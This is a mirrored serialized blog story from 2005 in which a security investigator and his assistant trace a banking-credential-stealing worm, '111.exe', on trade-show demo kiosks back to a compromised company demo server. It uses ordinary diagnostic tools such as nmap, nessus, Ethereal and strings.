Originally published by Chief Monkey on the A Day in the Life of an Information Security Investigator blog (the “Security Monkey” blog) at it.toolbox.com. Mirrored here from the Internet Archive. All rights remain with the original author. See the section intro for full attribution and takedown contact.

Part I · Sep 9, 2005

“This is your idea of site seeing?” I asked Scrap sarcastically.

Scrap and I were walking the floor at a large computer exposition in Las Vegas.

We had scampered off to Las Vegas to do some long overdue visiting with friends. Scrap wanted to take a detour to the strip and get an eye full of the latest technology wonders.“Absolutely, man! Every nifty vendor is here! And check out the booth babes!” Scrap responded with youthful enthusiasm.

“I should have known.” I moaned. There’s always a catch with Scrap.

Several isles into the show floor we found a familiar face, Reese Foldingfork. Reese was a product manager at Southwestern Silverware Technologies, a web-based inventory management company. Reese had commissioned me a few years ago to help her organize their organization’s information security function.

“Hey stranger!” I yelled a few paces back from SST’s 10x20 piece of the exposition floorspace.

“Chief! How the heck are you? It’s been what, three years? What brings you to the show?” Reese asked with a fling of her badly-dyed brown hair.

“Oh, you know me. I can’t resist wandering aimlessly through a room filled with potential clients.” I joked. I was half serious.

“How’s business? What are you displaying this year?” I asked as I approached several computer kiosks that had just booted into a Windows 2000 GUI.

Reese was beaming and took a deep breath. “Well, business is fantastic, but competitive. Shortly after we entered this market, the big boys followed us with a vengeance. However, we were first to market with our small-business inventory management system and we established a large base of customers very quickly. I guess you could say we’re holding our own.”

“Could we get a demonstration? I’d love to see how the product has changed since I saw it last.” I begged.

Reese approached a kiosk and brought up an internet explorer window. While I was waiting on Reese to type in what seemed to be the world’s longest URL, I looked around for Scrap. Now where did he go?

“This is the login screen to our software. It’s a thin client interface so our customers can login to their application from anywhere in the world.” Reese explained as she entered a username and a password.

I was intrigued. SST had moved from a thick client application on Windows to a web-based solution in a pretty short amount of time, considering the small amount of staff that SST still employed.

Reese presented me with the main menu of the application, and clicked on the “My Inventory” option. Internet explorer sprung into action and started to draw an impressive-looking interface in the browser window. However, the interface never finished rendering.

“Aw, what now?” Reese whined as she attempted to hit the reload button, restart internet explorer, and wave a rubber chicken over the top of the kiosk display.

“Reese, I had to make a couple of adjustments on the switch and the firewall. Can you test connectivity?” asked a young man wearing an SST polo shirt as he emerged from a small room at the back of the SST display.

Reese was frustrated. She had no connectivity at all.

“Stevie, I had connectivity a few minutes ago and now I have zilch. Why are we making changes to our internet connection in the middle of a demonstration to a customer?” Reese snapped back.

Apparently I was the customer, or perhaps a good excuse to yell at Stevie today.

“I was only working on the connection for five minutes or so, it should recover. I’ll try it on another kiosk.” Stevie said as he sauntered over to the next kiosk.

“Yo yo! I got us passes to this bar tonight. The guy over at the Microsoft booth said we ought to meet up over there. Cool!” Scrap said as he handed me two paper passes.

“Scrap, this isn’t a bar. It’s a strip club.” I announced with a laugh.

“YES! YES! We are so going!” Scrap said as he snatched the passes back from me.

“Why don’t you make yourself useful and help Reese out with her internet connectivity issue. I’m going to talk to this Stevie person.” I demanded as I gave Scrap a slight shove.

I approached a nervous Stevie and shoulder-surfed his activities on the second kiosk.

“What’s up?” I asked innocently.

“I don’t understand. I had to manually change the port configuration on our switch because the network cards in these kiosks won’t auto-negotiate properly. Then I made some changes to our firewall config because I forgot to allow for https/443 traffic outbound, and now this!” Stevie said quietly.

“CHIEF! CHIEF!” Reese yelled.

I backtracked to the first kiosk to find Scrap at the keyboard and a puzzled look on his face.

“You look like you just found out that your free passes were bogus or something. Something wrong?” I queried.

Scrap had one eyebrow raised, almost resembling Leonard Nimoy in a statuesque fashion.

I moved Scrap out of the way and eyeballed the Windows performance meter on the screen. It was pegged. A quick glance at application usage showed a process called “111” eating all available CPU resources.

“Sorry Scrap.” I said with a glance at Reese. “Looks like you won’t get to use those passes tonight.”

“Can you help us figure this out?” Reese begged.

I grinned.

Source: archived original

Part II · Sep 15, 2005

“I can’t believe this!” Reese lamented over and over again. “This is a huge show for us, and now my demo kiosks have been reduced to useless piles of crap.”

I turned my head to give Reese a reassuring look. “Now, Reese, that’s not a very nice way to talk about Windows 2000.”

Reese didn’t get the joke.My attention was called back to Scrap, who was playing in the task manager application on one of the kiosks.

“Wow, man. I kill the process and it goes away. After a reboot, it comes back! It’s like my psycho ex-girlfriend!”

I pondered which ex-girlfriend he was talking about.

“Looks like the kiosks have an uninvited visitor. We have to get Reese up and running quickly before this becomes embarrassing for her. Run back to the car and get two of our presentation laptops. Those things are locked down pretty tight. Meet me back here.” I barked like a drill sergeant.

“Got it.” Scrap replied shortly before disappearing from sight.

I proceeded to unplug the network cables from both kiosks and went over the recovery plan in my head. The kiosks were simple presentation displays that looked like waist-high pillars. We could easily remove the LCD displays and the tiny workstations from the pillars, unplug all the necessary cables, and set the laptops on top of the pillars. Our presentation laptops were capable of dual-booting into Windows 2000 Workstation, and we had a least-privilege user already set up.

Scrap returned in record time, the laptop carrier following close behind with it’s one squeaky wheel.

After a quick bit of triage, Reese’s display was back in action.

“That was like, fun or something.” Scrap moaned as he sat down on the lid of the industrial-strength laptop carrier.

“WAS fun? Dude, we have an impromptu investigation to begin. Bring the carrier around to the back of the display. Let’s take a look at these misbehaving computers.” I said as I picked up both machines and stumbled around to the rear of the booth.

“Aw, man. I just knew those free passes were too good to be true.” Scrap moaned as he lugged the carrier behind me.

We took a few minutes to set up a makeshift lab. Lucky for us, Reese had worked with her booth designers to create a private consultation area in the back of the booth for current and potential customers. There were a couple of chairs and a small table available. However, there was no power to be seen.

“Tell me you packed the extension cord and the power strip in the carrier.” I said to Scrap with anticipation.

“Uhhhh.” Scrap began as he opened the lid to the carrier. “Uhhh, of course! I’ll go find some power to steal, um, borrow.”

I carefully sat both small workstations next to each other on the small table and placed the 17" LCD panels on top of them. There was just enough room for two keyboards and mice.

“Why does this remind me of Scrap’s apartment?” I said out loud with a smirk.

“What about my apartment?” Scrap inquired with a smile. “I scored us some power from the booth behind us. Dan was more than happy to help.”

“Dan?”

Scrap smiled. “I begged, I pleaded, and then I gave him my passes.”

Scrap is a resourceful type.

I powered on both workstations and made sure that the hardware was functioning properly. As sure as sugar, both machines crawled to a halt as soon as the Windows startup process finished. I killed the process on one machine to permit some looking around.

“First thing first, what’s the one obvious thing you notice about the desktop on this thing?” I asked Scrap as I pointed to the now 111-less workstation. “Hmmm. You mean as compared to a best practices configuration for a demo machine? Well that’s easy. That desktop theme is butt-ugly!” Scrap joked.

“Yeah, that’s true. But what’s not running?” I inquired.

“Oh, duh! There’s no anti-virus application on this thing.” Scrap said as he cruised through the applications. “Heck, there’s no anti-malware software either. And wait a second, this thing is a default install of Windows 2000 Workstation! There’s not even a service pack installed!” Scrap squeaked.

A few seconds after Scrap’s revelation, Stevie appeared behind us.

“What’s up guys? Are the machines fried? I have the CD if we need to do a reload.”

I was lost in deep thought and not paying attention to a word Stevie said. I reached into my laptop bag and pulled out my Apple Powerbook.

“Stevie, can you grab that ten-foot ethernet cable from that carrier over there and give me some IP connectivity?” I asked as I cracked open the Powerbook.

“Sure. We have a couple of unused IP addresses that the convention people issued us.” Stevie replied.

With a quick motion, Stevie whipped out a printout from his pocket and pointed to the last IP address listed on the page.

“Use this information right here.”

I stared at the paper. It appeared that the booth’s firewall had one of the reserved IP addresses (which was a 10.x.x.x RFC-1918 address) and Stevie was using 192.168.x.x as his internally-routable IP addresses for the kiosks.

I brought up my System Preferences panel and quickly made the changes.

“Ok Chief, you’re plugged in outside of our firewall!” came a muffled cry from the small networking closet in the booth.

I took a quick second to make sure that my built-in Mac OSX firewall was turned on, and then I plugged the cable into the ethernet port of the Powerbook.

A quick ping to the gateway IP told me that I had connectivity.

“Oh man, are you about to make a bunch of noise?” Scrap said with an evil grin.

“Nope, I just want to see who our neighbors are.” I replied.

I brought up a console prompt and issued a very polite nmap command to scan our neighbors in our subnet:

chimptop: chief$ nmap -sP 10.x.x.x/24

Two hundred hosts were found. Hmmmm.

“I wonder what kind of equipment we have here?” I asked myself.

chimptop: chief$ sudo su - Password:********** chimptop:~ root# nmap -sP 10.x.x.x/24

Talk about a mish-mash of hardware. Every vendor imaginable was listed, however a lot of them were PC vendors. It would appear that not everyone at the show was running a firewall.

Entries such as these:

_Host 10.x.x.x appears to be up. MAC Address: XX:XX:XX:XX:XX:XX (Compaq Computer) _

were quite interesting. I took some notes in textedit, and then turned my attention back to Scrap who was busily examining the contents of the workstation’s registry.

“Hey Chief.” Scrap said as he blindly smacked my arm.

“Ow! What?” I yelled back.

“You aren’t going to believe what I just found here.” Scrap exclaimed.

“Try me.”

Source: archived original

Part III · Sep 20, 2005

Scrap stared at the LCD screen. His left hand extended up to the top of his head to scratch the crown of his skull with one fluid, chimp-like motion.

“I was looking at the registry of this box, and look what I found here!” Scrap said as he pointed to the active registry editor window.Scrap was pointing to a specific registry entry.

** HKLM\Software\Microsoft\Windows\CurrentVersion\Run**

Inside this entry was a run path to an executable file:

111.exe

“Well, that’s kind of obvious.” I remarked. “Have you found other entries?”

Scrap raised his eyebrows as he glanced towards me.

“Oh, but that’s not the interesting piece here. There are two ‘111.exe’ processes running!”

I looked at the task manager that Scrap had running in the background. Sure enough, there were two entries. One was consuming all available CPU cycles.

The other looked dormant.

“Hey Scrap, pkill that CPU-hog process.” I suggested.

Scrap selected the process and killed it.

“Uh, ok. Now what?” Scrap asked.

“Let’s wait a minute.” I replied. I had a hunch.

Before either of us could think about sending the other for coffee, a new 111.exe process appeared and started consuming CPU cycles again.

“What the … hey, how’d you know that was going to happen?” Scrap asked with another scratch of his head.

“The second process is apparently some kind of ‘watcher’. It makes sure that the 111.exe process is always running. We missed this earlier.” I said. “We need to establish how this software was installed and figure out what it’s doing with all those cycles.”

“Got it.” Scrap responded. “How about we plug this baby into a small hub and start sniffing?”

Instinct was starting to kick in with Scrap. This is always something good to see with someone who views you as a mentor.

“Do it. I’m going to knock on the front door of this box with a vulnerability scanner. I’d like to know where the holes in the dike are.”

Scrap grabbed a four port hub from the laptop carrier. The suspect kiosk box was plugged into one port, and his laptop into another.

“Ethereal?” I asked as I saw Scrap type away on the scraptop.

“But of course.” Scrap said with a grin.

I grabbed my powerbook and reconfigured the ethernet interface for the private network that Stevie had been using for the kiosks. I fired up an X11 session and an xterm.

“Nessus?” Scrap asked in the same voice I used when asking about ethereal.

“Duh.” I jokingly replied.

_ chimptop:~ chief$ sudo su - Password: ********** chimptop:~ root# nessusd & [1] 5147 chimptop:~ root# exit logout chimptop:~ chief$ nessus & _

Within a few seconds, the nessus setup window appeared. After logging in to nessus, I selected the kiosk box as my target.

“Hold off on ethereal while I scan this baby.” I asked Scrap. “Fire in the hole!”

With a click of the “start the scan” button, nessus sprang to life and initiated a port scan.

At this point, Scrap and I decided to wander over to the coffee bar that we passed on our way into the show.

After ordering two large coffees, we sat at the only empty table available.

“Hey Scrap!” said an unknown individual as they walked toward our table. “Mind if I pull up a chair?”

Scrap lit up like the Zippo lighter that he kept in his pocket.

“Chief, this is Dan. This is the guy we’re stealing, um, borrowing power from.”

“Hi Dan. Pull up a chair.” I said as I shook Dan’s hand.

“Thanks for the tickets man. They’ll be put to good use, I assure you!” Dan said as he high-fived Scrap across the table.

As Scrap and Dan talked, I couldn’t help but notice the logo on Dan’s shirt.

TinFoil Software Solutions.

“I’ll leave you two to swap stripper stories. I’m going to head back to the booth.”

I sauntered back to the rear of the booth and cleared the screensaver on my powerbook. Nessus had finished it’s scan of the machine.

“What the hell?” I said as I glanced over the nessus report.

The kiosk machine answered to ping requests, but no other information was available.

Apparently the front door on this machine was locked.

Source: archived original

Part IV · Sep 22, 2005

“Later dude!” I heard Scrap yell as he entered the booth. Scrap downed the last of his coffee and tossed the cup into the garbage can ten feet away.

“Hey Chief, are you starting my ethereal sniff without me?“I had hunkered down onto the floor next to the table with the Scraptop on my lap.

“What was your first clue? Nessus returned a big goose egg on the vulnerability scan. It’s time to see what our magical 111.exe process is up to.” I replied as I initiated the ethereal session.

After a brief pause, the network traffic started scrolling down the ethereal GUI. I had disabled the auto-scroll function so that I could manually look through the traffic. Scrap took this opportunity to sit down next to me and glance at the activity.

“Woah! That’s a chatty box.” Scrap exclaimed as he moved in for a closer look.

“What the hell kind of traffic is that anyway?”

“It would appear to be ICMP packets.” I replied as I clicked on the conversation in question. “Look at that! It’s pinging addresses in the locally assigned subnet, and expanding the address space of the ping randomly. Wait, it’s not random. Now look at the pattern!”

Scrap grabbed the Scraptop from my hands and scrolled through the traffic.

“Dude, it’s looking for hosts. And since it’s the only active IP on the hub, it’s not finding much!” Scrap said with a laugh.

“So, it would appear that it’s exhibiting some kind of weird worm behavior. That could possibly explain how it got on both machines?” I pondered out loud.

We captured about fifteen minutes of traffic before Scrap killed the ethereal session. The log file was saved to disk.

“That was fun. Now what, man?” Scrap asked as he closed the lid to the scraptop.

“We still haven’t established how it got onto the machines in the first place. It could have been on the machines when they were set up. It could be on the image CD that Stevie has. It could have wandered in while Stevie was making firewall changes. We have a lot of questions, but no answers.” I said. “But I bet Stevie can help us in this endeavor.”

I sent Scrap off to find Stevie and to grab me another cup of coffee.

“Wow, there’s a lot of people at this show.” Reese said as she popped into the back of the booth. “Find anything yet?”

“Nothing conclusive. How are the laptops doing?” I asked.

“Wonderful! Just wonderful. No problems. I really appreciate you guys bailing me out like that. Dinner is, of course, on me tonight.” Reese said with a smile.

No sane investigator argues with a free dinner.

“Ladies and gentleman … Stevie Wonder!” Scrap joked as wandered back with Stevie in tow.

“Like I don’t hear that every day.” Stevie lamented. “Scrap says you need my help?”

I stood up and walked towards the storage room in the booth where the networking equipment was installed.

“Stevie, can you do a dump of your firewall logs? Everything you have since you set up the equipment here in the booth?” I asked with a grimace. I was hoping that a possibly clueless Stevie was maintaining some firewall logging.

“Uh, sure. I think. Maybe Scrap should help me.” Stevie suggested as he entered the small storage room.

“This ought to be good.” Scrap whispered as he eyeballed the firewall setup.

“Hey, it’s a linux appliance! Our luck may not be so bad today.” Scrap said with a grin as he looked through the log files. “Hello Dolly, there be logs here!”

Well what do you know? Maybe our luck was getting better today.

“Is secure copy installed? Let’s copy them off to your laptop and have a look.” I bellowed in a semi-authoritative tone. I loved looking through logs.

Several minutes and a hacked-together ssh configuration later, the logs were at rest on the scraptop.

I loaded the first file into the ‘vi’ editor and did a cursory examination of the logs from the moment that the firewall was booted at the show.

“What time where the kiosks turned on?” I asked Stevie.

“Um, about seven this morning. Yep, it was seven. That’s when I got here.”

A quick examination showed that Stevie was correct. Broadcast traffic from the Windows kiosks was denied at the firewall shortly after seven.

I’m the first person to complain about noisy Windows boxes, but in this particular case, that broadcast traffic was going to be a useful time gauge.

“If my theory is correct, the broadcast traffic should stop at a certain point, and then we should see a storm of ICMP traffic.” I said. “Cross your fingers.”

I scrolled further down into the logs, and sure enough the broadcast traffic stopped abruptly shortly before eight o’clock in the morning … almost an hour after the boxes were turned on.

“Eight o’clock. Eight o’clock. What the hell happened at eight o’clock?” I asked out loud.

“Eight o’clock? That’s when I did my first demo.” Reese replied.

Interesting.

Source: archived original

Part V · Sep 27, 2005

tap tap tap

I was scrolling down through the log file at an ever-increasing rate of speed. The log file entries seemed to indicate that the first kiosk box started it’s ping sweeps at eight o’clock. (log file entries shortened for easy reading) ** 080000:ICMP:REJECT:192.168.1.100 080001:ICMP:REJECT:192.168.1.100 080002:ICMP:REJECT:192.168.1.100 080003:ICMP:REJECT:192.168.1.100 **

“I wonder when our second kiosk box gets in on the action?” I pondered to myself. I kept tapping on the keyboard until I saw the second kiosk’s IP address appear.

“What the heck? This makes no sense.” I whined.

** 082700:ICMP:REJECT:192.168.1.101 082701:ICMP:REJECT:192.168.1.100 082702:ICMP:REJECT:192.168.1.101 082703:ICMP:REJECT:192.168.1.100 **

“Now wait one dollar-waving second.” Scrap spoke up as if he were reading my mind. “Twenty-seven minutes past the hour the second magically joins the ICMP chant? There’s no way it would take twenty-seven minutes for an exploitable box like that kiosk to fall down on it’s face. This really doesn’t make any sense.”

“For once Scrap, I agree with every single thing you just said. There aren’t a lot of clues here, not much more to go on. We’re going to need to set up a lab environment somewhere and test this.” I replied. “Where’s Stevie?”

Stevie was no where to be found.

“Probably draining the lizard or something. Hey, here’s that machine image CD he was carrying around.” Scrap said as he tossed the CD to me. “Why do I have a feeling we’re going to be dragging gear up to the room to test this theory of yours?”

“Once again grasshopper, you have read my mind.” I joked. “Let’s secure this stuff and head back to the room and do some testing.”

An hour later, Scrap and I were back in our hotel room. All of the typical hotel amenities were scraped off of the small desk, and in their place were two LCD monitors attached to two computers sitting on the floor.

“Time for exploratory PC surgery.” I said as I handed Scrap an IDE drive sealed in an anti-static bag.

“Uh, aren’t these from our forensic kit?” Scrap said as he scratched his chimp-like head.

“Hey, they are all we have right now. Let’s swap the IDE drives out and get some installation action going.” I replied while prying the case off of the first PC.

Minutes later we had two computers with two new hard drives installed. The machines were plugged into an ethernet hub.

Scrap popped Stevie’s CD into the first machine, closed the tray, and hit the power button on the computer. The fans sped to life and we received a prompt on the screen about booting off of the CD.

“Yes, please!” Scrap said as he tapped the space bar.

At first the installation looked like a standard Windows 2000 Workstation installation. However, it would appear that Stevie had crafted a clever installation script of some type that configured everything on the workstation except for the networking information. After two more reboots, we were in business.

“Got the Scraptop attached and ready to go?” I asked Scrap as the machines prepared to boot into the operating system.

“Roger that, man.” Scrap replied as he peered down onto another session of ethereal.

“Here they come!” I said with a laugh. Both machines completed their boots into the operating system.

One hour later, Scrap and I were staring at the bottoms of our coffee cups and bored to tears. There was no activity in ethereal aside from the normal Windows broadcast traffic.

yawn

I decided to do some poking and prodding. I fired up nessus on my powerbook again and scanned both workstations with the latest tests installed.

The results surprised us both.

“Am I reading that right? We have the usual Windows management ports open, and that’s it? And none of the exploit scripts worked?” Scrap asked with amazement.

“That’s what I’m seeing. I wonder if Stevie actually patched these things somehow, or maybe he has a stealthy host-based firewall running on here.” I replied as I started clicking around on one of the kiosks desktop.

I paused, and stared at my cursor. It couldn’t be this easy, could it?

“Dude, you have that weird freaked-out look on your face again. Did lunch not agree with your innards again?” Scrap asked compassionately.

I turned to look at Scrap and started to chuckle.

“Scrap, we’re looking at this all wrong.” I said with another laugh.

“Like, uh?” Scrap asked.

“Like … we’re looking at the wrong end of the toothpaste tube.” I replied.

We were going to have some interesting questions for Reese at dinner time.

Source: archived original

Part VI · Sep 29, 2005

“Dude! I smell prime rib!” Scrap exclaimed as he stepped out of the elevator and into the lobby of a posh steak restaurant.

“It would appear that we’re early. No sign of Reese. Let’s hit the bar.” I said as I whisked Scrap off to an empty bar table, complete with stools.“Like, HI! What can I get you two gentlemen?” the waitress asked.

Scrap was screaming through the drink menu at a break-neck speed. “I’ll have a large mug of your finest house ale!”

“Um, like we have ten house ales. Which one?” the waitress asked impatiently.

“The one that costs the most. He’s paying.” Scrap replied as he pointed in my direction.

“I’ll have the same.” I said as I threw the drink menu at Scrap.

Scrap lit up a fresh cigarette and and grabbed my arm.

“Chief, that waitress that was just here … was that …?”

“No Scrap, that wasn’t Barbie.” I said with a chuckle. Scrap never forgets a face, or something like that.

“Hi guys. I am so sorry I’m late!” said Reese as she pulled up a bar stool. “The restaurant is really busy, so even with our reservations we’re looking at another ten minutes or so. So what have you boys been up to today?”

I pulled out my PDA and scrolled through some notes.

“Reese, what do you know about Stevie?”

Reese was startled by my question, but quickly collected her thoughts.

“Stevie has been with us for a few years. He does a great job, but only does exactly what is listed in his job description. Thinking outside of the box is not his strong point.” Reese said. “Was he any help in tracking down all of that stuff with our kiosks?”

Scrap chuckled. “Uh, well sort of. I had to do the firewall log collection myself since he wasn’t aware of how to do it.”

Reese tapped her cell phone on the table. “Yeah, I know. He’s not perfect, but he does exactly what I ask. He’s very polite to everyone too, which is a stark contrast to our previous technical services person. Chief, did you meet Weed when you were on site doing our security evaluations?”

I was halfway through remembering back that far in time when the waitress appeared with our beers. Reese ordered something fruity with an umbrella and returned her attention to me.

“I do. Weed was the typical BOFH (Bastard Operator From Hell). He was very resistant to making critical security changes in the operations center. He fought me on nearly every change, right down to registry settings on Windows servers.” I said in between sips of beer.

I reviewed the notes on my PDA one more time before asking Reese another question.

“Reese, your new product is entirely web-based and appears to be an application service provider model where the client connects to your servers and works remotely. Correct?”

Reese took her fruity drink from the waitress and had a quick taste.

“Yes. We’re an ASP model. Why?”

“Well,” I began, “how many people connect to the demo server that you were using today?”

“Only the sales and product management staff. Well, okay that’s not completely true. Road show demos like the one I’m doing now use a completely separate server in our datacenter. I remember the operations manager saying something at a meeting that we were going to dedicate bandwidth and server resources to the road show systems so we didn’t have to worry about slow demonstrations.” Reese replied.

“I see. And how many other people are doing road shows right now?” I inquired with a few more sips of beer.

“You’re looking at her. We’re hiring a person to do this job right now. I’m just filling in.” Reese mumbled after flicking the umbrella out of her drink and into Scrap’s hair. That was impressive.

“I have to tell you, Reese, that we still have a lot of theories right now. Scrap and I would like to bring the kiosk boxes back into the booth tomorrow and run another test. Would you mind?” I asked with a smile.

“With all of this work, I imagine you’re going to want to be compensated.” Reese said with a quick glance around the table. “I’ll see what I can do on that. I appreciate you helping me out on this. Bring the kiosks by about seven o’clock. I should be there around that time.”

“Way Cool!” Scrap yelled. “Looks like our table is ready.”

After a meal fit for kings, Scrap and I returned to the hotel for a much needed night of rest.

Early the next morning we made our way down to the show floor, kiosk machines and LCD screens in our arms. I spotted Reese at the coffee bar.

“Hook the gear up, I’m going to brief Reese.” I said as I wandered off.

Reese needed some immediate assistance with the steaming cups of coffee goodness in her hands.

“Thank goodness you guys showed up. I was worried that these were going to get cold.” Reese joked as she handed me two of the cups. “So what do you need me to do to help with this test that you talked about last night? Just log into the application?”

“Pretty much.” I replied. “Scrap should have the gear hooked up and ready to go.”

Minutes later we were all huddled around the first kiosk machine, our recent IDE drive installation still in it’s belly.

“Scrap, are we ready?” I asked with a wink.

“Fire in the hole!” Scrap replied.

Reese carefully logged into the web application. She was greeted with the same menu that we had seen the day before. Everything appeared to be normal.

“Proceed as if you were giving us a demo.” I said as I watched Reese move through the screens.

“Chief! We have a visitor!” Scrap yelled as he turned the Scraptop around so that I could view his ethereal session.

“Well, what do you know?” I asked with a smirk.

Source: archived original

Part VII · Oct 5, 2005

“What? Who? Visitor?” Reese asked in a worried voice. “I don’t understand. Someone is on my demo kiosk?”

I stared at the ethereal message that Scrap was pointing to on the scraptop. It would appear that after logging in to the web application, the web browser had downloaded an executable piece of code:

** 111.exe.**“Are we still recording?” I asked as I turned my attention back to the internet explorer window on the kiosk machine.

“Roger that.” Scrap said as he continued to eyeball the traffic in the ethereal window.

“What are you seeing?” I queried as I brought up the task manager on the kiosk machine.

“Nothing now.” Scrap responded.

I saw a single 111.exe application running, and then I had two!

“How about now?” I asked excitedly.

“Gah! ICMP traffic like a mother!” Scrap exclaimed as he click around on the scraptop. “She’s pinging like a drunk sub captain!”

“Are you ready for phase two?” I asked Scrap.

“One second!” Scrap muttered as he reached around and plugged the ethernet cable into the second kiosk machine. “Here goes nothing!”

I sidestepped over to the second kiosk machine and brought up task manager.

I waited one minute, then two minutes, then three minutes without any activity.

“What the hell?” I pondered as I continued to stare a hole into the screen of the second kiosk.

One half-hour later, we unplugged both kiosk machines and feasted on cold coffee.

“Chief, what just happened?” Scrap asked as he ran his chimp-like paw through his tattered hair.

A half-smile appeared on my lips. “Well, I’m pretty certain that the 111.exe process is more of an annoyance than a threat at this point. It wasn’t able to exploit anything on the second kiosk machine, even though we have positive evidence in the ethereal logs that it attempted to.”

“Tell me something I don’t know. What does it all mean, man?” Scrap said in a flippant manner.

“It means, clubhopper, that my theory about the toothpaste tube was correct. We have a server that is potentially compromised and distributing this 111.exe application through an unidentified internet explorer exploit of some type. The payload of the 111.exe appears to be somewhat benign to the Windows 2000 image that was used to build these machines.” I replied as I emptied the last part of my cold coffee surprise into my mouth.

“Chief, excuse my lack of technical skill here, but what did you just say?” Reese asked with a few blinks of her eyes.

“What I’m saying,” I began, “is that the demonstration server that you’re logging into at your HQ is sending your web browser an instruction to download and execute a special program that you don’t want to download or run. We now need to focus our attention on that server and answer the basic questions.”

“Basic questions?” Reese asked with an additional puzzled look on her face.

Scrap snapped to attention. “Oh! Oh! Mr. Kotter! Mr. Kotter! I know these. How did the payload get on the server? How did it go undetected this long? Um, what safeguards were effective and ineffective in preventing this, who has access to the server …”

“Very good Scrap. We don’t need to bore Reese with the whole list. Reese, we need to talk to someone at HQ and get this server looked at. Today is the last day of the show, and this could mean no demonstrations if we can’t get this fixed quickly.” I told Reese sympathetically.

“Crap.” Reese replied as she stared at the ceiling.

“Or, you continue to use our laptops to do your demos today, we take the risk for business reasons, and we work with HQ tonight or tomorrow.” I snapped back, trying to prevent Reese from tearing up.

“I like that option.” Reese said as she perked up. “Let’s go with that. I’m going to write down the CTO’s name and number on the back of my business card. He’s new since you were at HQ. Call him and let him know what’s up. I’ll send him a text message alerting him of your impending call.”

“Works for me.” I replied as I helped Scrap disconnect the kiosk machines and set the demo laptops in their place.

A few moments later, the demo laptops were back in action. Scrap and I took a few moments in the back of the booth to collect our thoughts.

“Dude, she was looking at us like a cow with a bastard calf when you wanted her to pull the demonstrations today.” Scrap said with a laugh. “You’re getting crank in your old age.”

“Where the hell do you get those sayings? Cow with a bastard calf?” I replied as I rolled eyes. “Remember, we always have to give the client the options with the risks. They get to make the decision, because they are the ones signing the checks. It has nothing to do with me being a few years older than your punk butt.”

“Whatever dude. What’s the plan?” Scrap asked.

“We call Mister … Mister … give me the card, Scrap!” I demanded. Scrap was using the card that Reese had given us as a chew toy of sorts.

“Mr. Griffin. Peter Griffin!” I said out loud as I grabbed my cell phone.

The conversation with Peter went from curious to confused in a matter of minutes. Peter insisted on putting his new systems administrator Brian Dogson on the phone.

I rattled off the events of the past few days to Brian who appeared to be technically proficient enough to ask intelligent questions after each of my statements.

“So, the plan would be to take the server offline tonight after the demonstrations are over.” I said to Brian. “Do you have someone available to do that?”

“Not a problem. I’ll stay late and take it offline myself. I have a question for you, though. You said that server forced a download of an executable file to the browsers?” Brian asked.

“Yes. It executed immediately and spawned another copy of itself as a watcher process.” I replied.

“Process? What was the name of this process?” Brian asked.

“111.exe. Why?” I asked.

“Please tell me you’re kidding around.” Brian begged.

The Chief never kids around.

Source: archived original

Part VIII · Oct 11, 2005

An uncomfortable laugh filled the phone line. I could hear Brian moving the phone away from his mouth to lessen the impact of his disbelief.

“You’ve seen this 111.exe process before?” I asked. “Chief, I’ve spent the past year trying to clean that thing off of various machines here at HQ. Nobody seems to know where it came from, how it gets onto our machines, or how to keep it off.”

I paused for a moment. I had a strange gut feeling where this was going.

“I thought I had completely eliminated that thing.” Brian explained. “And now to hear that it’s on the demo server just makes my frick’in day! I’m going to need a few martinis after work now.”

I chuckled. “You and Scrap will get along marvelously. I have to ask you how you’ve been cleaning this thing off of infected machines.”

Brian cleared his throat. “Well, it’s been trial by error, actually. We started having complaints from laptop users in the field. Our tech did a pretty thorough analysis of the laptops and found the 111.exe process. They treated it like any potentially dangerous piece of malware. They slaved the drives, copied off important files, wiped the machines and put our OS image back on the machines. This worked out great. We had deeper problems with servers, as you can imagine.”

“I bet.” I replied. “Most of your servers probably contained drive arrays. That’s a little more complicated.”

“We’re on the same page there. The only good news I can find here is that we haven’t had any other reports of servers exhibiting the strange behavior, so maybe after we set up a fresh demo server we’ll be good to go.” Brian said with a sigh.

“Let’s hope so.” I said as I ended the phone conversation.

My gut was rumbling, and it wasn’t from the bagel that I ate for breakfast.

“Scrap! Grab one of the kiosks, your laptop, and join me in the back of the booth.” I yelled over to Scrap in an attempt to distract him from the neighboring booth babes.

“On it.” Scrap replied as he waved goodbye to a statuesque brunette. “This job is killing my social life.”

“Whhhhiiirrrr!”

The fans of the kiosk machine spun up and the LCD screen lit up with a Windows 2000 boot screen.

“What gives, boss?” Scrap inquired as he made himself comfortable on the floor beside the kiosk machine.

“Scrap, what exactly does this 111.exe process really do?” I asked as I brought up task manager on the kiosk machine. The 111.exe processes were running full steam ahead and consuming massive amounts of CPU resources.

“It’s a naughty replicating worm, right?” Scrap responded.

“Yes, but what makes it tick? It’s time to dig deeper. Hand me our Windows utilities CD.” I said as I opened the CD tray on the kiosk machine.

I inserted a CD containing several commonly used file examination utilities, and opened a command prompt.

**D:\tools\winx86\binutils\strings c:\windows\111.exe

banc bank banco dinero money username PIN password funds trade**

“What the clueless cover charge is that?” Scrap said with a loud gulp from his warm soda bottle.

“Motive.”

Source: archived original

Part IX · Oct 13, 2005

“Chief, you really need to go back to your caffeinated ways man. How exactly does a list of words give somebody a motive to create and distribute this little worm?” Scrap said as he bit his lower lip. Not only was Scrap a top-notch systems administrator, but a first-rate Pamela Anderson impersonator - without the surgeries.I grabbed an ethernet cable and snaked it into one of our micro-hubs.

“Plug the Scraptop in, and get an ethereal session running.” I barked at Scrap as I initiated an Internet Explorer window.

“Done.” Scrap replied back after a few taps on his keyboard.

“Don’t take your eyes off of that ethereal window.” I said as proceeded to type a URL into the address bar of Internet Explorer.

http://www.bankofamerika.com

Without any DNS services available, my request was immediately met with a “could not resolve hostname” message.

“Anything?” I asked Scrap.

“Nothing unusual. A metric ton of ICMP garbage from the 111.exe process and the normal windows chatter.” Scrap shot back, his eyes carefully fixed on the ethereal window.

“Ok, keep watching.” I said as I typed more URLs into Internet Explorer.

**http://www.bancoespana.com

http://www.moneyandmatters.com

http://etraderr.com **

Nothing.

“Let’s make this interesting.” I said as I ran an ethernet cable from our hub to the network switch that was outside of Stevie’s firewall.

I gave the kiosk machine a real IP address, and moved on to another URL.

http://omgtehmarketfunds.com

“Chief, I have nothing. You really have lost your little monkey mind this time.” Scrap joked, still not taking his eyes off of the screen.

Instinct took over as I stared at the “Username/Password” fields on the omgtehmarketfunds.com website. I typed in what I hoped was a bogus username and password and pressed the “login” button.

“Woah! Woah! Wait… wait. I need to scroll back.” Scrap said in a slightly higher voice than usual. I hadn’t heard Scrap talk that way since he switched from boxers to briefs eons ago.

